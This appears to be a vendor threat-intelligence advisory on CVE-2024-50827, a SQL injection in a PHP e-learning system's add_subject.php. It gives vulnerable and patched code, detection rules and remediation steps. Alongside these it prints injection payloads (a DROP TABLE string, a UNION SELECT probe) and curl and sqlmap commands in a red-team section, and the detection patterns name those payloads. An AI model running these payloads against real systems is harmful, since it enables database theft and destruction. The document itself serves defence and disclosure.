CVE-2024-50827

Executive Summary

CVE-2024-50827 is a critical SQL Injection vulnerability discovered in the Kashipara E-learning Management System Project version 1.0. The flaw resides in the /admin/add_subject.php endpoint, specifically within the subject_code parameter. An unauthenticated attacker can inject arbitrary SQL commands, leading to full database compromise, data exfiltration, and potential server takeover. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) due to network exploitability, low attack complexity, and no required privileges or user interaction. No official patch has been released by the vendor, making this a high-priority threat for any organization using this software.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application vulnerability. However, organizations should treat this as a supply chain risk if the software is distributed or used as a dependency in other projects.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Ability to modify or delete data.
• Availability (A): High (H) – Potential for denial of service via SQL manipulation.

Threat Level: Critical. The combination of remote exploitability, no authentication, and high impact makes this a top-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the subject_code parameter of the add_subject.php script. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries.

Vulnerable Code Snippet (Hypothetical):

<?php
$subject_code = $_POST['subject_code'];
$query = "INSERT INTO subjects (subject_code) VALUES ('$subject_code')";
mysqli_query($conn, $query);
?>

An attacker can inject a payload such as:

subject_code=test'); DROP TABLE subjects; --

This would result in the following SQL query:

INSERT INTO subjects (subject_code) VALUES ('test'); DROP TABLE subjects; --')

The injection point is in the subject_code parameter, which is likely a text field in the admin panel. The lack of input validation and prepared statements allows arbitrary SQL execution.

Vulnerable vs. Patched Code

Vulnerable Code (PHP):

<?php
$subject_code = $_POST['subject_code'];
$query = "INSERT INTO subjects (subject_code) VALUES ('$subject_code')";
$result = mysqli_query($conn, $query);
if ($result) {
    echo "Subject added successfully.";
} else {
    echo "Error: " . mysqli_error($conn);
}
?>

Patched Code (PHP):

<?php
$subject_code = $_POST['subject_code'];
$stmt = $conn->prepare("INSERT INTO subjects (subject_code) VALUES (?)");
$stmt->bind_param("s", $subject_code);
$stmt->execute();
if ($stmt->affected_rows > 0) {
    echo "Subject added successfully.";
} else {
    echo "Error: " . $stmt->error;
}
$stmt->close();
?>

The patched version uses prepared statements with parameterized queries, which prevents SQL injection by separating SQL logic from data.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target running Kashipara E-learning Management System v1.0
• Access to the /admin/add_subject.php endpoint (no authentication required)
• SQLMap or manual exploitation tools

Manual Exploitation:

1. Identify the vulnerable parameter:

   curl -X POST "http://target.com/admin/add_subject.php" \
   -d "subject_code=test'"
   

   If an SQL error is returned, the parameter is injectable.

2. Extract database information:

   curl -X POST "http://target.com/admin/add_subject.php" \
   -d "subject_code=test' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"
   

3. Use SQLMap for automated exploitation:

   sqlmap -u "http://target.com/admin/add_subject.php" \
   --data="subject_code=test" \
   --batch --dbs
   

Exploit-DB Code: None available.

Blue Team (Defensive)

Detection:

• Monitor for SQL error messages in application logs.
• Look for unusual characters in POST parameters (single quotes, UNION, SELECT, etc.).
• Use WAF rules to block SQL injection patterns.

Honeypot Setup:

• Deploy a decoy /admin/add_subject.php endpoint that logs all requests.
• Alert on any POST requests containing SQL keywords.

Indicators of Compromise (IOCs)

• Network IOCs:

  • POST requests to /admin/add_subject.php with subject_code containing SQL keywords (UNION, SELECT, DROP, etc.)
  • Outbound database connections from the web server to unknown IPs (data exfiltration)
  • HTTP responses containing SQL error messages (e.g., "You have an error in your SQL syntax")

• File System IOCs:

  • Unexpected files in the web root (e.g., shells, backdoors)
  • Modified PHP files in the /admin/ directory

• Database IOCs:

  • New or modified database users with elevated privileges
  • Unusual queries in database logs (e.g., UNION SELECT, LOAD_FILE)

Detection Engineering

YARA Rule

rule CVE_2024_50827_SQLi {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-50827"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-50827"
    strings:
        $sqli1 = /subject_code=.*['\"]\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i
        $sqli2 = /subject_code=.*\b(1=1|1=2|admin'--)\b/i
    condition:
        any of them
}

Sigma Rule

title: SQL Injection Attempt Against /admin/add_subject.php
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting the subject_code parameter in CVE-2024-50827
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/admin/add_subject.php'
        cs-uri-query|contains: 'subject_code='
    keywords:
        - "' OR '1'='1"
        - "' UNION SELECT"
        - "'; DROP TABLE"
        - "'--"
    condition: selection and keywords
falsepositives:
    - Legitimate use of special characters in subject codes (unlikely)
level: high

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2024-50827 SQL Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/admin/add_subject.php";
    http_uri;
    content:"subject_code=";
    http_client_body;
    pcre:"/(\x27|\x22)\s*(OR|AND|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#)/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate the application from production networks until a patch is applied.
2. Implement a Web Application Firewall (WAF) with rules to block SQL injection patterns.
3. Disable the /admin/add_subject.php endpoint if not required.

Long-term Fixes:

1. Apply input validation – Use whitelist filtering for the subject_code parameter (e.g., only allow alphanumeric characters).
2. Use prepared statements – Replace all dynamic SQL queries with parameterized queries.
3. Update the application – Contact Kashipara for an official patch or consider migrating to a supported alternative.

Compromise Assessment:

• Review database logs for unauthorized queries.
• Check for new user accounts or modified data.
• Scan the web server for backdoors or webshells.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For further assistance, contact threatintel@valtersit.com.